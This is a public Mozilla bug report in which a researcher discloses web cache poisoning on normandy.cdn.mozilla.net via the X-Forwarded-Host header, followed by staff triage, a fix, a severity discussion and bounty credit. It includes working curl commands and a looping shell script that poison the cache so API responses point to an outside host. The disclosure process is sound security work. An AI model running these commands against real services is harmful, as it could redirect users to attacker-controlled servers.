1433134 - Web cache poisoning on normandy.cdn.mozilla.net

Status: RESOLVED FIXED

(Cloud Services :: Operations: Normandy, task)

Description

[Jаmes Kettle]

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36

Steps to reproduce:

Firefox periodically sends requests to https://normandy.cdn.mozilla.net/api/v1/ in order to deploy Shield studies to users.

The normal response looks like this:

{
  "action-list": "https://normandy.cdn.mozilla.net/api/v1/action/",
  "action-signed": "https://normandy.cdn.mozilla.net/api/v1/action/signed/",
  "approvalrequest-list": "https://normandy.cdn.mozilla.net/api/v1/approval_request/",
  "classify-client": "https://normandy.cdn.mozilla.net/api/v1/classify_client/",
  "filters": "https://normandy.cdn.mozilla.net/api/v1/filters/",
  "recipe-list": "https://normandy.cdn.mozilla.net/api/v1/recipe/",
  "recipe-signed": "https://normandy.cdn.mozilla.net/api/v1/recipe/signed/",
  "reciperevision-list": "https://normandy.cdn.mozilla.net/api/v1/recipe_revision/"
}

Unfortunately, the backend server supports the 'X-Forwarded-Host' header:

curl -H 'X-Forwarded-Host: burpcollaborator.net' https://normandy.cdn.mozilla.net/api/v1/

{
  "action-list": "https://burpcollaborator.net/api/v1/action/",
  "action-signed": "https://burpcollaborator.net/api/v1/action/signed/",
  "approvalrequest-list": "https://burpcollaborator.net/api/v1/approval_request/",
  "classify-client": "https://burpcollaborator.net/api/v1/classify_client/",
  "filters": "https://burpcollaborator.net/api/v1/filters/",
  "recipe-list": "https://burpcollaborator.net/api/v1/recipe/",
  "recipe-signed": "https://burpcollaborator.net/api/v1/recipe/signed/",
  "reciperevision-list": "https://burpcollaborator.net/api/v1/recipe_revision/"
}

This isn't so bad by itself, since there's no way for me to make a Firefox user send the X-Forwarded-Host header.

Unfortunately, CloudFront is happy to cache the poisoned response sent to me, and send it to other users. Please be careful when exploring this issue, as it's potentially quite easy to accidentally poison the cache and antagonise genuine users. To safely replicate this issue, you can use the following steps which include a cache buster to poison a specific URL that normal users won't inadvertently load.

First, set this script running to poison the cache. It will print out a unique poisoned URL for you, and run indefinitely to ensure it stays poisoned.
url=https://normandy.cdn.mozilla.net/api/v1/?cb=$(date +%s) && echo -e "\n\n$url" && while true; do curl -i -s -k -H $'x-forwarded-host: burpcollaborator.net' -H 'accept-encoding: gzip, deflate, br' $url 2>&1 > /dev/null && sleep 1; done;

Then, verify the cache has been poisoned by issuing a normal request with no X-Forwarded-Host header. Please note that this step doesn't have to be done from the same box or IP as the poisoning :)
curl -H 'accept-encoding: gzip, deflate, br' https://normandy.cdn.mozilla.net/api/v1/?cb=1516894527 | gunzip

You will find that the 'normal' response still points you to burpcollaborator.net URLs.


This technique can be used to make all subsequent requests for Shield studies get routed to a malicious server, which can potentially install malicious/vulnerable signed extensions or maybe screw with users in other ways I haven't discovered yet. I have chosen to report this prior to fully exploring the risks it poses, as I think it may be a critical issue.

Comment 1

[Brian Hourigan [:digi]]

Adding :ckolos, he added DNS according to https://inventory.mozilla.org/en-US/reversion_compare/history_view/CNAME/13109/

Comment 2

[Chris Kolosiwsky [:ckolos] (ckolos has left the building)]

adding :miles as he is the engineer in charge

Comment 3

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

Talked with miles, he's on the case.

Comment 4

[Daniel Veditz [:dveditz]]

This appears to be covered by content signatures:
https://searchfox.org/mozilla-central/rev/4611b9541894e90a421debb57ddbbcff55c2f369/browser/extensions/shield-recipe-client/lib/NormandyApi.jsm#117-121

Someone could send broken/unsigned recipes.

Someone could replay old recipes that had a vulnerability (Is that likely? recipes wouldn't have a way for attacker to parameterize). Buggy/destructive ones are a problem for sure.

Otherwise someone would have to get a certificate for normandy.content-signatures.mozilla.org -- Looks like a real certificate and not some mozilla-only issued chain. It's not in our pinning list so this bug coupled with a CA-misissued cert could be fatal.

needinfo? to Julien to check me on the content signature vulns.

Comment 5

[Daniel Veditz [:dveditz]]

Julien says this uses the same infrastructure as add-on signing, so valid certs have to chain to an internal root.

Comment 6

[Miles Crabill [:miles]]

We have deployed a fix for this to both staging and production and verified using some basic test cases that set Host and X-Forwarded-Host.

Things look good on the app side as well.

Comment 7

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

I have verified the changes, so I'm closing this out.  Thanks :miles and team for the quick fix!

Comment 8

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

Jаmes: In our haste to get this fix, we neglected to thank you for your submission here.  Thank you! This bug has been nominated for consideration for our bug bounty and you'll probably hear from us in a week or so with another update on that front.  If you want to know more about our bug bounty program, we have a bunch of details up on our website here (https://www.mozilla.org/en-US/security/web-bug-bounty/).  Again, thanks!

Comment 9

[Jаmes Kettle]

That was a fast fix, nice work! I've confirmed the fix from this side.

It sounds like the main attack (aside from trolling via re-installing that mr robot extension...) would be finding a recipe or combination or recipes that result in a vulnerability. That said, I do have to wonder why there are unsigned versions of every recipe, like https://normandy.cdn.mozilla.net/api/v1/recipe/ 

Is this related to legacy Firefox editions that don't do signature verification?

Comment 10

[Frederik Braun [:freddy]]

Another question that pops into my head is why do we host the REST API explorer in production?

Comment 11

[Julien Vehent]

As Dan mentioned, SHIELD studies are signed with content signature to protect against this very type of attack. Reducing the severity to sec-low, as this is annoying, but does not put users at risk.

Comment 12

[Jаmes Kettle]

I would prefer this report remained private for now.

Comment 13

[Michael Cooper [:mythmon]]

> That said, I do have to wonder why there are unsigned versions of every recipe

Not all clients that interact with that API need signing. For example, that API is used by tools that work with recipes during their "development", before they have signatures. There are also various dashboard that use the recipe server as a source of metadata. Rest assured that any client that actually executes recipes only does so after verifying their signatures.

(There was a client for little while that did not verify signatures, but it hasn't run for over a year, and in fact does not have server-side support anymore.)

> Another question that pops into my head is why do we host the REST API explorer in production?

This is exposed mostly because there is little reason (that I know of) to not expose it. The data here is not considered sensitive, and in fact I'd prefer it be as easily accessible as possible (hopefully in a better format in the future). The API uses content negotiation to choose a format most suited for the client viewing it, so automated tools get JSON, and humans get HTML, unless otherwise requested.

The public accessible version of this API does not have write access to the database, but besides that is very similar to the API used to actually manipulate the recipes. Having good tools in both places is helpful. Further, the less the read-only and read-write versions of the API diverge, the easier my job is.

I hope that helps with some of your concerns. If you'd like to discuss this more, I'd be happy to discuss it outside of Bugzilla, either in email ([e-mail]) or IRC (mythmon on irc.mozilla.org), or in any other bugs about Normandy (Shield) that exist. At this point I think we're getting a bit off-topic for this bug.

Comment 14

[Daniel Veditz [:dveditz]]

Most of the bounty committee agrees "low" undersells this; upgrading to "moderate". Signing saves us from the worst of the issues, but there's still replay attacks (re-shipping older known vuln recipes/addons), cache poisoning, and Denial of Service for an important client update feature. Maybe the low end of "moderate", but definitely not "low".

Comment 15

[April King [:April]]

James, can I ask how you would like to be credited on our Hall of Fame? I need the name you'd prefer, as well as a URL to link to, if you'd like us to do that.

Thanks!

Comment 16

[Jаmes Kettle]

Could you credit me as 'James Kettle (PortSwigger Web Security)' and link to https://skeletonscribe.net/

As an aside, I plan to share the details of this vulnerability, the underlying technique, and how to detect/mitigate it at BlackHat in August. I'm happy for the bug to be made public after that point.

Cheers.

Comment 17

[Brian Pitts]

A minor clarification for posterity: earlier comments mentioned cloudfront. The caching done for the domain normandy.cdn.mozilla.net is not actually done by cloudfront, it's done by nginx. It will be done by cloudfront once bug 1457306 is resolved.

Comment 18

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

James' talk at BlackHat is done (the reason we were waiting on making this public) and the paper is now public here (https://portswigger.net/blog/practical-web-cache-poisoning).  I've also spoken to James today and we're both ok with making this bug public now, so I'm making that so and clearing white-board.

James: thanks again for your contribution to our bug bounty program, we hope to see more submissions from you in the future!